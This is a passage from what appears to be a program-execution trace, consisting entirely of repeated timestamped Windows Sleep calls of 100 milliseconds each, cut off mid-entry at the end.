[0219.675] Sleep (dwMilliseconds=0x64) [0219.691] Sleep (dwMilliseconds=0x64) [0219.706] Sleep (dwMilliseconds=0x64) [0219.722] Sleep (dwMilliseconds=0x64) [0219.738] Sleep (dwMilliseconds=0x64) [0219.753] Sleep (dwMilliseconds=0x64) [0219.769] Sleep (dwMilliseconds=0x64) [0219.785] Sleep (dwMilliseconds=0x64) [0219.800] Sleep (dwMilliseconds=0x64) [0219.818] Sleep (dwMilliseconds=0x64) [0219.831] Sleep (dwMilliseconds=0x64) [0219.847] Sleep (dwMilliseconds=0x64) [0219.872] Sleep (dwMilliseconds=0x64) [0219.878] Sleep (dwMilliseconds=0x64) [0219.894] Sleep (dwMilliseconds=0x64) [0219.909] Sleep (dwMilliseconds=0x64) [0219.925] Sleep (dwMilliseconds=0x64) [0219.941] Sleep (dwMilliseconds=0x64) [0219.956] Sleep (dwMilliseconds=0x64) [0219.972] Sleep (dwMilliseconds=0x64) [0219.987] Sleep (dwMilliseconds=0x64) [0220.003] Sleep (dwMilliseconds=0x64) [0220.018] Sleep (dwMilliseconds=0x64) [0220.035] Sleep (dwMilliseconds=0x64) [0220.050] Sleep (dwMilliseconds=0x64) [0220.065] Sleep (dwMilliseconds=0x64) [0220.081] Sleep (dwMilliseconds=0x64) [0220.099] Sleep (dwMilliseconds=0x64) [0220.112] Sleep (dwMilliseconds=0x64) [0220.128] Sleep (dwMilliseconds=0x64) [0220.144] Sleep (dwMilliseconds=0x64) [0220.159] Sleep (dwMilliseconds=0x64) [0220.174] Sleep (dwMilliseconds=0x64) [0220.190] Sleep (dwMilliseconds=0x64) [0220.206] Sleep (dwMilliseconds=0x64) [0220.222] Sleep (dwMilliseconds=0x64) [0220.237] Sleep (dwMilliseconds=0x64) [0220.253] Sleep (dwMilliseconds=0x64) [0220.268] Sleep (dwMilliseconds=0x64) [0220.284] Sleep (dwMilliseconds=0x64) [0220.299] Sleep (dwMilliseconds=0x64) [0220.315] Sleep (dwMilliseconds=0x64) [0220.338] Sleep (dwMilliseconds=0x64) [0220.346] Sleep (dwMilliseconds=0x64) [0220.375] Sleep (dwMilliseconds=0x64) [0220.377] Sleep (dwMilliseconds=0x64) [0220.393] Sleep (dwMilliseconds=0x64) [0220.409] Sleep (dwMilliseconds=0x64) [0220.424] Sleep (dwMilliseconds=0x64) [0220.440] Sleep (dwMilliseconds=0x64) [0220.455] Sleep (dwMilliseconds=0x64) [0220.471] Sleep (dwMilliseconds=0x64) [0220.486] Sleep (dwMilliseconds=0x64) [0220.502] Sleep (dwMilliseconds=0x64) [0220.518] Sleep (dwMilliseconds=0x64) [0220.533] Sleep (dwMilliseconds=0x64) [0220.549] Sleep (dwMilliseconds=0x64) [0220.565] Sleep (dwMilliseconds=0x64) [0220.580] Sleep (dwMilliseconds=0x64) [0220.596] Sleep (dwMilliseconds=0x64) [0220.613] Sleep (dwMilliseconds=0x64) [0220.627] Sleep (dwMilliseconds=0x64) [0220.643] Sleep (dwMilliseconds=0x64) [0220.658] Sleep (dwMilliseconds=0x64) [0220.674] Sleep (dwMilliseconds=0x64) [0220.689] Sleep (dwMilliseconds=0x64) [0220.706] Sleep (dwMilliseconds=0x64) [0220.721] Sleep (dwMilliseconds=0x64) [0220.743] Sleep (dwMilliseconds=0x64) [0220.752] Sleep (dwMilliseconds=0x64) [0220.768] Sleep (dwMilliseconds=0x64) [0220.783] Sleep (dwMilliseconds=0x64) [0220.798] Sleep (dwMilliseconds=0x64) [0220.814] Sleep (dwMilliseconds=0x64) [0220.830] Sleep (dwMilliseconds=0x64) [0220.845] Sleep (dwMilliseconds=0x64) [0220.861] Sleep (dwMilliseconds=0x64) [0220.877] Sleep (dwMilliseconds=0x64) [0220.892] Sleep (dwMilliseconds=0x64) [0220.908] Sleep (dwMilliseconds=0x64) [0220.923] Sleep (dwMilliseconds=0x64) [0220.939] Sleep (dwMilliseconds=0x64) [0220.954] Sleep (dwMilliseconds=0x64) [0220.970] Sleep (dwMilliseconds=0x64) [0220.986] Sleep (dwMilliseconds=0x64) [0221.001] Sleep (dwMilliseconds=0x64) [0221.017] Sleep (dwMilliseconds=0x64) [0221.033] Sleep (dwMilliseconds=0x64) [0221.048] Sleep (dwMilliseconds=0x64) [0221.064] Sleep (dwMilliseconds=0x64) [0221.083] Sleep (dwMilliseconds=0x64) [0221.096] Sleep (dwMilliseconds=0x64) [0221.110] Sleep (dwMilliseconds=0x64) [0221.126] Sleep (dwMilliseconds=0x64) [0221.142] Sleep (dwMilliseconds=0x64) [0221.158] Sleep (dwMilliseconds=0x64) [0221.173] Sleep (dwMilliseconds=0x64) [0221.189] Sleep (dwMilliseconds=0x64) [0221.204] Sleep (dwMilliseconds=0x64) [0221.220] Sleep (dwMilliseconds=0x64) [0221.235] Sleep (dwMilliseconds=0x64) [0221.251] Sleep (dwMilliseconds=0x64) [0221.266] Sleep (dwMilliseconds=0x64) [0221.282] Sleep (dwMilliseconds=0x64) [0221.298] Sleep (dwMilliseconds=0x64) [0221.314] Sleep (dwMilliseconds=0x64) [0221.336] Sleep (dwMilliseconds=0x64) [0221.345] Sleep (dwMilliseconds=0x64) [0221.360] Sleep (dwMilliseconds=0x64) [0221.386] Sleep (dwMilliseconds=0x64) [0221.391] Sleep (dwMilliseconds=0x64) [0221.407] Sleep (dwMilliseconds=0x64) [0221.424] Sleep (dwMilliseconds=0x64) [0221.438] Sleep (dwMilliseconds=0x64) [0221.454] Sleep (dwMilliseconds=0x64) [0221.469] Sleep (dwMilliseconds=0x64) [0221.487] Sleep (dwMilliseconds=0x64) [0221.501] Sleep (dwMilliseconds=0x64) [0221.516] Sleep (dwMilliseconds=0x64) [0221.532] Sleep (dwMilliseconds=0x64) [0221.547] Sleep (dwMilliseconds=0x64) [0221.563] Sleep (dwMilliseconds=0x64) [0221.578] Sleep (dwMilliseconds=0x64) [0221.594] Sleep (dwMilliseconds=0x64) [0221.610] Sleep (dwMilliseconds=0x64) [0221.626] Sleep (dwMilliseconds=0x64) [0221.642] Sleep (dwMilliseconds=0x64) [0221.657] Sleep (dwMilliseconds=0x64) [0221.674] Sleep (dwMilliseconds=0x64) [0221.688] Sleep (dwMilliseconds=0x64) [0221.705] Sleep (dwMilliseconds=0x64) [0221.719] Sleep (dwMilliseconds=0x64) [0221.738] Sleep (dwMilliseconds=0x64) [0221.750] Sleep (dwMilliseconds=0x64) [0221.766] Sleep (dwMilliseconds=0x64) [0221.781] Sleep (dwMilliseconds=0x64) [0221.797] Sleep (dwMilliseconds=0x64) [0221.813] Sleep (dwMilliseconds=0x64) [0221.828] Sleep (dwMilliseconds=0x64) [0221.844] Sleep (dwMilliseconds=0x64) [0221.860] Sleep (dwMilliseconds=0x64) [0221.879] Sleep (dwMilliseconds=0x64) [0221.890] Sleep (dwMilliseconds=0x64) [0221.906] Sleep (dwMilliseconds=0x64) [0221.922] Sleep (dwMilliseconds=0x64) [0221.938] Sleep (dwMilliseconds=0x64) [0221.953] Sleep (dwMilliseconds=0x64) [0221.968] Sleep (dwMilliseconds=0x64) [0221.984] Sleep (dwMilliseconds=0x64) [0221.999] Sleep (dwMilliseconds=0x64) [0222.015] Sleep (dwMilliseconds=0x64) [0222.031] Sleep (dwMilliseconds=0x64) [0222.046] Sleep (dwMilliseconds=0x64) [0222.062] Sleep (dwMilliseconds=0x64) [0222.078] Sleep (dwMilliseconds=0x64) [0222.093] Sleep (dwMilliseconds=0x64) [0222.109] Sleep (dwMilliseconds=0x64) [0222.124] Sleep (dwMilliseconds=0x64) [0222.140] Sleep (dwMilliseconds=0x64) [0222.156] Sleep (dwMilliseconds=0x64) [0222.171] Sleep (dwMilliseconds=0x64) [0222.191] Sleep (dwMilliseconds=0x64) [0222.202] Sleep (dwMilliseconds=0x64) [0222.218] Sleep (dwMilliseconds=0x64) [0222.234] Sleep (dwMilliseconds=0x64) [0222.249] Sleep (dwMilliseconds=0x64) [0222.265] Sleep (dwMilliseconds=0x64) [0222.281] Sleep (dwMilliseconds=0x64) [0222.298] Sleep (dwMilliseconds=0x64) [0222.312] Sleep (dwMilliseconds=0x64) [0222.334] Sleep (dwMilliseconds=0x64) [0222.343] Sleep (dwMilliseconds=0x64) [0222.358] Sleep (dwMilliseconds=0x64) [0222.374] Sleep (dwMilliseconds=0x64) [0222.405] Sleep (dwMilliseconds=0x64) [0222.421] Sleep (dwMilliseconds=0x64) [0222.436] Sleep (dwMilliseconds=0x64) [0222.452] Sleep (dwMilliseconds=0x64) [0222.468] Sleep (dwMilliseconds=0x64) [0222.483] Sleep (dwMilliseconds=0x64) [0222.499] Sleep (dwMilliseconds=0x64) [0222.515] Sleep (dwMilliseconds=0x64) [0222.530] Sleep (dwMilliseconds=0x64) [0222.546] Sleep (dwMilliseconds=0x64) [0222.561] Sleep (dwMilliseconds=0x64) [0222.577] Sleep (dwMilliseconds=0x64) [0222.592] Sleep (dwMilliseconds=0x64) [0222.608] Sleep (dwMilliseconds=0x64) [0222.624] Sleep (dwMilliseconds=0x64) [0222.639] Sleep (dwMilliseconds=0x64) [0222.657] Sleep (dwMilliseconds=0x64) [0222.670] Sleep (dwMilliseconds=0x64) [0222.688] Sleep (dwMilliseconds=0x64) [0222.702] Sleep (dwMilliseconds=0x64) [0222.720] Sleep (dwMilliseconds=0x64) [0222.733] Sleep (dwMilliseconds=0x64) [0222.749] Sleep (dwMilliseconds=0x64) [0222.764] Sleep (dwMilliseconds=0x64) [0222.780] Sleep (dwMilliseconds=0x64) [0222.795] Sleep (dwMilliseconds=0x64) [0222.811] Sleep (dwMilliseconds=0x64) [0222.826] Sleep (dwMilliseconds=0x64) [0222.842] Sleep (dwMilliseconds=0x64) [0222.859] Sleep (dwMilliseconds=0x64) [0222.873] Sleep (dwMilliseconds=0x64) [0222.889] Sleep (dwMilliseconds=0x64) [0222.904] Sleep (dwMilliseconds=0x64) [0222.920] Sleep (dwMilliseconds=0x64) [0222.936] Sleep (dwMilliseconds=0x64) [0222.951] Sleep (dwMilliseconds=0x64) [0222.967] Sleep (dwMilliseconds=0x64) [0222.983] Sleep (dwMilliseconds=0x64) [0222.998] Sleep (dwMilliseconds=0x64) [0223.014] Sleep (dwMilliseconds=0x64) [0223.029] Sleep (dwMilliseconds=0x64) [0223.045] Sleep (dwMilliseconds=0x64) [0223.061] Sleep (dwMilliseconds=0x64) [0223.076] Sleep (dwMilliseconds=0x64) [0223.092] Sleep (dwMilliseconds=0x64) [0223.107] Sleep (dwMilliseconds=0x64) [0223.123] Sleep (dwMilliseconds=0x64) [0223.140] Sleep (dwMilliseconds=0x64) [0223.154] Sleep (dwMilliseconds=0x64) [0223.170] Sleep (dwMilliseconds=0x64) [0223.186] Sleep (dwMilliseconds=0x64) [0223.201] Sleep (dwMilliseconds=0x64) [0223.217] Sleep (dwMilliseconds=0x64) [0223.232] Sleep (dwMilliseconds=0x64) [0223.248] Sleep (dwMilliseconds=0x64) [0223.263] Sleep (dwMilliseconds=0x64) [0223.279] Sleep (dwMilliseconds=0x64) [0223.294] Sleep (dwMilliseconds=0x64) [0223.310] Sleep (dwMilliseconds=0x64) [0223.326] Sleep (dwMilliseconds=0x64) [0223.348] Sleep (dwMilliseconds=0x64) [0223.357] Sleep (dwMilliseconds=0x64) [0223.372] Sleep (dwMilliseconds=0x64) [0223.388] Sleep (dwMilliseconds=0x64) [0223.416] Sleep (dwMilliseconds=0x64) [0223.419] Sleep (dwMilliseconds=0x64) [0223.435] Sleep (dwMilliseconds=0x64) [0223.450] Sleep (dwMilliseconds=0x64) [0223.466] Sleep (dwMilliseconds=0x64) [0223.482] Sleep (dwMilliseconds=0x64) [0223.498] Sleep (dwMilliseconds=0x64) [0223.513] Sleep (dwMilliseconds=0x64) [0223.528] Sleep (dwMilliseconds=0x64) [0223.544] Sleep (dwMilliseconds=0x64) [0223.560] Sleep (dwMilliseconds=0x64) [0223.575] Sleep (dwMilliseconds=0x64) [0223.591] Sleep (dwMilliseconds=0x64) [0223.607] Sleep (dwMilliseconds=0x64) [0223.622] Sleep (dwMilliseconds=0x64) [0223.638] Sleep (dwMilliseconds=0x64) [0223.655] Sleep (dwMilliseconds=0x64) [0223.669] Sleep (dwMilliseconds=0x64) [0223.685] Sleep (dwMilliseconds=0x64) [0223.700] Sleep (dwMilliseconds=0x64) [0223.716] Sleep (dwMilliseconds=0x64) [0223.731] Sleep (dwMilliseconds=0x64) [0223.751] Sleep (dwMilliseconds=0x64) [0223.762] Sleep (dwMilliseconds=0x64) [0223.779] Sleep (dwMilliseconds=0x64) [0223.794] Sleep (dwMilliseconds=0x64) [0223.809] Sleep (dwMilliseconds=0x64) [0223.825] Sleep (dwMilliseconds=0x64) [0223.840] Sleep (dwMilliseconds=0x64) [0223.856] Sleep (dwMilliseconds=0x64) [0223.871] Sleep (dwMilliseconds=0x64) [0223.891] Sleep (dwMilliseconds=0x64) [0223.903] Sleep (dwMilliseconds=0x64) [0223.919] Sleep (dwMilliseconds=0x64) [0223.934] Sleep (dwMilliseconds=0x64) [0223.950] Sleep (dwMilliseconds=0x64) [0223.965] Sleep (dwMilliseconds=0x64) [0223.981] Sleep (dwMilliseconds=0x64) [0224.000] Sleep (dwMilliseconds=0x64) [0224.012] Sleep (dwMilliseconds=0x64) [0224.028] Sleep (dwMilliseconds=0x64) [0224.043] Sleep (dwMilliseconds=0x64) [0224.059] Sleep (dwMilliseconds=0x64) [0224.074] Sleep (dwMilliseconds=0x64) [0224.090] Sleep (dwMilliseconds=0x64) [0224.106] Sleep (dwMilliseconds=0x64) [0224.124] Sleep (dwMilliseconds=0x64) [0224.137] Sleep (dwMilliseconds=0x64) [0224.153] Sleep (dwMilliseconds=0x64) [0224.168] Sleep (dwMilliseconds=0x64) [0224.184] Sleep (dwMilliseconds=0x64) [0224.200] Sleep (dwMilliseconds=0x64) [0224.215] Sleep (dwMilliseconds=0x64) [0224.231] Sleep (dwMilliseconds=0x64) [0224.246] Sleep (dwMilliseconds=0x64) [0224.262] Sleep (dwMilliseconds=0x64) [0224.278] Sleep (dwMilliseconds=0x64) [0224.293] Sleep (dwMilliseconds=0x64) [0224.309] Sleep (dwMilliseconds=0x64) [0224.324] Sleep (dwMilliseconds=0x64) [0224.348] Sleep (dwMilliseconds=0x64) [0224.355] Sleep (dwMilliseconds=0x64) [0224.371] Sleep (dwMilliseconds=0x64) [0224.386] Sleep (dwMilliseconds=0x64) [0224.402] Sleep (dwMilliseconds=0x64) [0224.432] Sleep (dwMilliseconds=0x64) [0224.433] Sleep (dwMilliseconds=0x64) [0224.449] Sleep (dwMilliseconds=0x64) [0224.464] Sleep (dwMilliseconds=0x64) [0224.480] Sleep (dwMilliseconds=0x64) [0224.496] Sleep (dwMilliseconds=0x64) [0224.511] Sleep (dwMilliseconds=0x64) [0224.527] Sleep (dwMilliseconds=0x64) [0224.542] Sleep (dwMilliseconds=0x64) [0224.558] Sleep (dwMilliseconds=0x64) [0224.574] Sleep (dwMilliseconds=0x64) [0224.589] Sleep (dwMilliseconds=0x64) [0224.605] Sleep (dwMilliseconds=0x64) [0224.621] Sleep (dwMilliseconds=0x64) [0224.636] Sleep (dwMilliseconds=0x64) [0224.653] Sleep (dwMilliseconds=0x64) [0224.667] Sleep (dwMilliseconds=0x64) [0224.683] Sleep (dwMilliseconds=0x64) [0224.698] Sleep (dwMilliseconds=0x64) [0224.714] Sleep (dwMilliseconds=0x64) [0224.730] Sleep (dwMilliseconds=0x64) [0224.745] Sleep (dwMilliseconds=0x64) [0224.761] Sleep (dwMilliseconds=0x64) [0224.777] Sleep (dwMilliseconds=0x64) [0224.792] Sleep (dwMilliseconds=0x64) [0224.811] Sleep (dwMilliseconds=0x64) [0224.823] Sleep (dwMilliseconds=0x64) [0224.839] Sleep (dwMilliseconds=0x64) [0224.854] Sleep (dwMilliseconds=0x64) [0224.870] Sleep (dwMilliseconds=0x64) [0224.886] Sleep (dwMilliseconds=0x64) [0224.901] Sleep (dwMilliseconds=0x64) [0224.917] Sleep (dwMilliseconds=0x64) [0224.933] Sleep (dwMilliseconds=0x64) [0224.948] Sleep (dwMilliseconds=0x64) [0224.965] Sleep (dwMilliseconds=0x64) [0224.979] Sleep (dwMilliseconds=0x64) [0224.995] Sleep (dwMilliseconds=0x64) [0225.010] Sleep (dwMilliseconds=0x64) [0225.026] Sleep (dwMilliseconds=0x64) [0225.042] Sleep (dwMilliseconds=0x64) [0225.057] Sleep (dwMilliseconds=0x64) [0225.073] Sleep (dwMilliseconds=0x64) [0225.088] Sleep (dwMilliseconds=0x64) [0225.104] Sleep (dwMilliseconds=0x64) [0225.120] Sleep (dwMilliseconds=0x64) [0225.136] Sleep (dwMilliseconds=0x64) [0225.154] Sleep (dwMilliseconds=0x64) [0225.166] Sleep (dwMilliseconds=0x64) [0225.182] Sleep (dwMilliseconds=0x64) [0225.198] Sleep (dwMilliseconds=0x64) [0225.214] Sleep (dwMilliseconds=0x64) [0225.229] Sleep (dwMilliseconds=0x64) [0225.245] Sleep (dwMilliseconds=0x64) [0225.260] Sleep (dwMilliseconds=0x64) [0225.276] Sleep (dwMilliseconds=0x64) [0225.291] Sleep (dwMilliseconds=0x64) [0225.307] Sleep (dwMilliseconds=0x64) [0225.323] Sleep (dwMilliseconds=0x64) [0225.356] Sleep (dwMilliseconds=0x64) [0225.369] Sleep (dwMilliseconds=0x64) [0225.385] Sleep (dwMilliseconds=0x64) [0225.400] Sleep (dwMilliseconds=0x64) [0225.416] Sleep (dwMilliseconds=0x64) [0225.444] Sleep (dwMilliseconds=0x64) [0225.447] Sleep (dwMilliseconds=0x64) [0225.463] Sleep (dwMilliseconds=0x64) [0225.478] Sleep (dwMilliseconds=0x64) [0225.494] Sleep (dwMilliseconds=0x64) [0225.510] Sleep (dwMilliseconds=0x64) [0225.525] Sleep (dwMilliseconds=0x64) [0225.541] Sleep (dwMilliseconds=0x64) [0225.557] Sleep (dwMilliseconds=0x64) [0225.572] Sleep (dwMilliseconds=0x64) [0225.588] Sleep (dwMilliseconds=0x64) [0225.603] Sleep (dwMilliseconds=0x64) [0225.619] Sleep (dwMilliseconds=0x64) [0225.634] Sleep (dwMilliseconds=0x64) [0225.650] Sleep (dwMilliseconds=0x64) [0225.668] Sleep (dwMilliseconds=0x64) [0225.681] Sleep (dwMilliseconds=0x64) [0225.697] Sleep (dwMilliseconds=0x64) [0225.712] Sleep (dwMilliseconds=0x64) [0225.728] Sleep (dwMilliseconds=0x64) [0225.744] Sleep (dwMilliseconds=0x64) [0225.759] Sleep (dwMilliseconds=0x64) [0225.775] Sleep (dwMilliseconds=0x64) [0225.792] Sleep (dwMilliseconds=0x64) [0225.806] Sleep (dwMilliseconds=0x64) [0225.822] Sleep (dwMilliseconds=0x64) [0225.837] Sleep (dwMilliseconds=0x64) [0225.853] Sleep (dwMilliseconds=0x64) [0225.869] Sleep (dwMilliseconds=0x64) [0225.885] Sleep (dwMilliseconds=0x64) [0225.902] Sleep (dwMilliseconds=0x64) [0225.915] Sleep (dwMilliseconds=0x64) [0225.941] Sleep (dwMilliseconds=0x64) [0225.946] Sleep (dwMilliseconds=0x64) [0225.962] Sleep (dwMilliseconds=0x64) [0225.978] Sleep (dwMilliseconds=0x64) [0225.994] Sleep (dwMilliseconds=0x64) [0226.012] Sleep (dwMilliseconds=0x64) [0226.024] Sleep (dwMilliseconds=0x64) [0226.040] Sleep (dwMilliseconds=0x64) [0226.056] Sleep (dwMilliseconds=0x64) [0226.071] Sleep (dwMilliseconds=0x64) [0226.087] Sleep (dwMilliseconds=0x64) [0226.102] Sleep (dwMilliseconds=0x64) [0226.118] Sleep (dwMilliseconds=0x64) [0226.136] Sleep (dwMilliseconds=0x64) [0226.149] Sleep (dwMilliseconds=0x64) [0226.165] Sleep (dwMilliseconds=0x64) [0226.181] Sleep (dwMilliseconds=0x64) [0226.196] Sleep (dwMilliseconds=0x64) [0226.212] Sleep (dwMilliseconds=0x64) [0226.228] Sleep (dwMilliseconds=0x64) [0226.243] Sleep (dwMilliseconds=0x64) [0226.258] Sleep (dwMilliseconds=0x64) [0226.274] Sleep (dwMilliseconds=0x64) [0226.290] Sleep (dwMilliseconds=0x64) [0226.305] Sleep (dwMilliseconds=0x64) [0226.321] Sleep (dwMilliseconds=0x64) [0226.349] Sleep (dwMilliseconds=0x64) [0226.352] Sleep (dwMilliseconds=0x64) [0226.367] Sleep (dwMilliseconds=0x64) [0226.383] Sleep (dwMilliseconds=0x64) [0226.399] Sleep (dwMilliseconds=0x64) [0226.415] Sleep (dwMilliseconds=0x64) [0226.430] Sleep (dwMilliseconds=0x64) [0226.459] Sleep (dwMilliseconds=0x64) [0226.461] Sleep (dwMilliseconds=0x64) [0226.477] Sleep (dwMilliseconds=0x64) [0226.493] Sleep (dwMilliseconds=0x64) [0226.508] Sleep (dwMilliseconds=0x64) [0226.524] Sleep (dwMilliseconds=0x64) [0226.540] Sleep (dwMilliseconds=0x64) [0226.555] Sleep (dwMilliseconds=0x64) [0226.570] Sleep (dwMilliseconds=0x64) [0226.588] Sleep (dwMilliseconds=0x64) [0226.602] Sleep (dwMilliseconds=0x64) [0226.617] Sleep (dwMilliseconds=0x64) [0226.633] Sleep (dwMilliseconds=0x64) [0226.648] Sleep (dwMilliseconds=0x64) [0226.666] Sleep (dwMilliseconds=0x64) [0226.680] Sleep (dwMilliseconds=0x64) [0226.695] Sleep (dwMilliseconds=0x64) [0226.711] Sleep (dwMilliseconds=0x64) [0226.726] Sleep (dwMilliseconds=0x64) [0226.742] Sleep (dwMilliseconds=0x64) [0226.758] Sleep (dwMilliseconds=0x64) [0226.773] Sleep (dwMilliseconds=0x64) [0226.789] Sleep (dwMilliseconds=0x64) [0226.805] Sleep (dwMilliseconds=0x64) [0226.820] Sleep (dwMilliseconds=0x64) [0226.836] Sleep (dwMilliseconds=0x64) [0226.853] Sleep (dwMilliseconds=0x64) [0226.867] Sleep (dwMilliseconds=0x64) [0226.882] Sleep (dwMilliseconds=0x64) [0226.898] Sleep (dwMilliseconds=0x64) [0226.914] Sleep (dwMilliseconds=0x64) [0226.930] Sleep (dwMilliseconds=0x64) [0226.946] Sleep (dwMilliseconds=0x64) [0226.962] Sleep (dwMilliseconds=0x64) [0226.976] Sleep (dwMilliseconds=0x64) [0226.992] Sleep (dwMilliseconds=0x64) [0227.007] Sleep (dwMilliseconds=0x64) [0227.023] Sleep (dwMilliseconds=0x64) [0227.039] Sleep (dwMilliseconds=0x64) [0227.054] Sleep (dwMilliseconds=0x64) [0227.070] Sleep (dwMilliseconds=0x64) [0227.085] Sleep (dwMilliseconds=0x64) [0227.101] Sleep (dwMilliseconds=0x64) [0227.120] Sleep (dwMilliseconds=0x64) [0227.132] Sleep (dwMilliseconds=0x64) [0227.148] Sleep (dwMilliseconds=0x64) [0227.163] Sleep (dwMilliseconds=0x64) [0227.179] Sleep (dwMilliseconds=0x64) [0227.194] Sleep (dwMilliseconds=0x64) [0227.210] Sleep (dwMilliseconds=0x64) [0227.226] Sleep (dwMilliseconds=0x64) [0227.242] Sleep (dwMilliseconds=0x64) [0227.257] Sleep (dwMilliseconds=0x64) [0227.273] Sleep (dwMilliseconds=0x64) [0227.288] Sleep (dwMilliseconds=0x64) [0227.304] Sleep (dwMilliseconds=0x64) [0227.319] Sleep (dwMilliseconds=0x64) [0227.345] Sleep (dwMilliseconds=0x64) [0227.350] Sleep (dwMilliseconds=0x64) [0227.367] Sleep (dwMilliseconds=0x64) [0227.382] Sleep (dwMilliseconds=0x64) [0227.397] Sleep (dwMilliseconds=0x64) [0227.413] Sleep (dwMilliseconds=0x64) [0227.429] Sleep (dwMilliseconds=0x64) [0227.444] Sleep (dwMilliseconds=0x64) [0227.473] Sleep (dwMilliseconds=0x64) [0227.475] Sleep (dwMilliseconds=0x64) [0227.491] Sleep (dwMilliseconds=0x64) [0227.506] Sleep (dwMilliseconds=0x64) [0227.522] Sleep (dwMilliseconds=0x64) [0227.538] Sleep (dwMilliseconds=0x64) [0227.553] Sleep (dwMilliseconds=0x64) [0227.569] Sleep (dwMilliseconds=0x64) [0227.584] Sleep (dwMilliseconds=0x64) [0227.600] Sleep (dwMilliseconds=0x64) [0227.616] Sleep (dwMilliseconds=0x64) [0227.631] Sleep (dwMilliseconds=0x64) [0227.647] Sleep (dwMilliseconds=0x64) [0227.664] Sleep (dwMilliseconds=0x64) [0227.678] Sleep (dwMilliseconds=0x64) [0227.694] Sleep (dwMilliseconds=0x64) [0227.709] Sleep (dwMilliseconds=0x64) [0227.725] Sleep (dwMilliseconds=0x64) [0227.741] Sleep (dwMilliseconds=0x64) [0227.756] Sleep (dwMilliseconds=0x64) [0227.772] Sleep (dwMilliseconds=0x64) [0227.787] Sleep (dwMilliseconds=0x64) [0227.803] Sleep (dwMilliseconds=0x64) [0227.818] Sleep (dwMilliseconds=0x64) [0227.834] Sleep (dwMilliseconds=0x64) [0227.850] Sleep (dwMilliseconds=0x64) [0227.865] Sleep (dwMilliseconds=0x64) [0227.881] Sleep (dwMilliseconds=0x64) [0227.896] Sleep (dwMilliseconds=0x64) [0227.923] Sleep (dwMilliseconds=0x64) [0227.928] Sleep (dwMilliseconds=0x64) [0227.943] Sleep (dwMilliseconds=0x64) [0227.959] Sleep (dwMilliseconds=0x64) [0227.974] Sleep (dwMilliseconds=0x64) [0227.990] Sleep (dwMilliseconds=0x64) [0228.005] Sleep (dwMilliseconds=0x64) [0228.025] Sleep (dwMilliseconds=0x64) [0228.037] Sleep (dwMilliseconds=0x64) [0228.053] Sleep (dwMilliseconds=0x64) [0228.068] Sleep (dwMilliseconds=0x64) [0228.084] Sleep (dwMilliseconds=0x64) [0228.099] Sleep (dwMilliseconds=0x64) [0228.115] Sleep (dwMilliseconds=0x64) [0228.130] Sleep (dwMilliseconds=0x64) [0228.146] Sleep (dwMilliseconds=0x64) [0228.162] Sleep (dwMilliseconds=0x64) [0228.177] Sleep (dwMilliseconds=0x64) [0228.193] Sleep (dwMilliseconds=0x64) [0228.208] Sleep (dwMilliseconds=0x64) [0228.224] Sleep (dwMilliseconds=0x64) [0228.240] Sleep (dwMilliseconds=0x64) [0228.256] Sleep (dwMilliseconds=0x64) [0228.280] Sleep (dwMilliseconds=0x64) [0228.286] Sleep (dwMilliseconds=0x64) [0228.302] Sleep (dwMilliseconds=0x64) [0228.318] Sleep (dwMilliseconds=0x64) [0228.342] Sleep (dwMilliseconds=0x64) [0228.349] Sleep (dwMilliseconds=0x64) [0228.364] Sleep (dwMilliseconds=0x64) [0228.382] Sleep (dwMilliseconds=0x64) [0228.396] Sleep (dwMilliseconds=0x64) [0228.411] Sleep (dwMilliseconds=0x64) [0228.428] Sleep (dwMilliseconds=0x64) [0228.442] Sleep (dwMilliseconds=0x64) [0228.458] Sleep (dwMilliseconds=0x64) [0228.487] Sleep (dwMilliseconds=0x64) [0228.491] Sleep (dwMilliseconds=0x64) [0228.505] Sleep (dwMilliseconds=0x64) [0228.521] Sleep (dwMilliseconds=0x64) [0228.536] Sleep (dwMilliseconds=0x64) [0228.552] Sleep (dwMilliseconds=0x64) [0228.569] Sleep (dwMilliseconds=0x64) [0228.583] Sleep (dwMilliseconds=0x64) [0228.599] Sleep (dwMilliseconds=0x64) [0228.615] Sleep (dwMilliseconds=0x64) [0228.630] Sleep (dwMilliseconds=0x64) [0228.645] Sleep (dwMilliseconds=0x64) [0228.661] Sleep (dwMilliseconds=0x64) [0228.676] Sleep (dwMilliseconds=0x64) [0228.692] Sleep (dwMilliseconds=0x64) [0228.708] Sleep (dwMilliseconds=0x64) [0228.723] Sleep (dwMilliseconds=0x64) [0228.739] Sleep (dwMilliseconds=0x64) [0228.754] Sleep (dwMilliseconds=0x64) [0228.770] Sleep (dwMilliseconds=0x64) [0228.786] Sleep (dwMilliseconds=0x64) [0228.801] Sleep (dwMilliseconds=0x64) [0228.817] Sleep (dwMilliseconds=0x64) [0228.836] Sleep (dwMilliseconds=0x64) [0228.848] Sleep (dwMilliseconds=0x64) [0228.864] Sleep (dwMilliseconds=0x64) [0228.879] Sleep (dwMilliseconds=0x64) [0228.895] Sleep (dwMilliseconds=0x64) [0228.910] Sleep (dwMilliseconds=0x64) [0228.926] Sleep (dwMilliseconds=0x64) [0228.942] Sleep (dwMilliseconds=0x64) [0228.957] Sleep (dwMilliseconds=0x64) [0228.975] Sleep (dwMilliseconds=0x64) [0228.989] Sleep (dwMilliseconds=0x64) [0229.004] Sleep (dwMilliseconds=0x64) [0229.020] Sleep (dwMilliseconds=0x64) [0229.035] Sleep (dwMilliseconds=0x64) [0229.051] Sleep (dwMilliseconds=0x64) [0229.066] Sleep (dwMilliseconds=0x64) [0229.083] Sleep (dwMilliseconds=0x64) [0229.098] Sleep (dwMilliseconds=0x64) [0229.113] Sleep (dwMilliseconds=0x64) [0229.130] Sleep (dwMilliseconds=0x64) [0229.145] Sleep (dwMilliseconds=0x64) [0229.160] Sleep (dwMilliseconds=0x64) [0229.176] Sleep (dwMilliseconds=0x64) [0229.191] Sleep (dwMilliseconds=0x64) [0229.207] Sleep (dwMilliseconds=0x64) [0229.222] Sleep (dwMilliseconds=0x64) [0229.238] Sleep (dwMilliseconds=0x64) [0229.257] Sleep (dwMilliseconds=0x64) [0229.274] Sleep (dwMilliseconds=0x64) [0229.285] Sleep (dwMilliseconds=0x64) [0229.301] Sleep (dwMilliseconds=0x64) [0229.316] Sleep (dwMilliseconds=0x64) [0229.341] Sleep (dwMilliseconds=0x64) [0229.347] Sleep (dwMilliseconds=0x64) [0229.363] Sleep (dwMilliseconds=0x64) [0229.378] Sleep (dwMilliseconds=0x64) [0229.394] Sleep (dwMilliseconds=0x64) [0229.409] Sleep (dwMilliseconds=0x64) [0229.425] Sleep (dwMilliseconds=0x64) [0229.441] Sleep 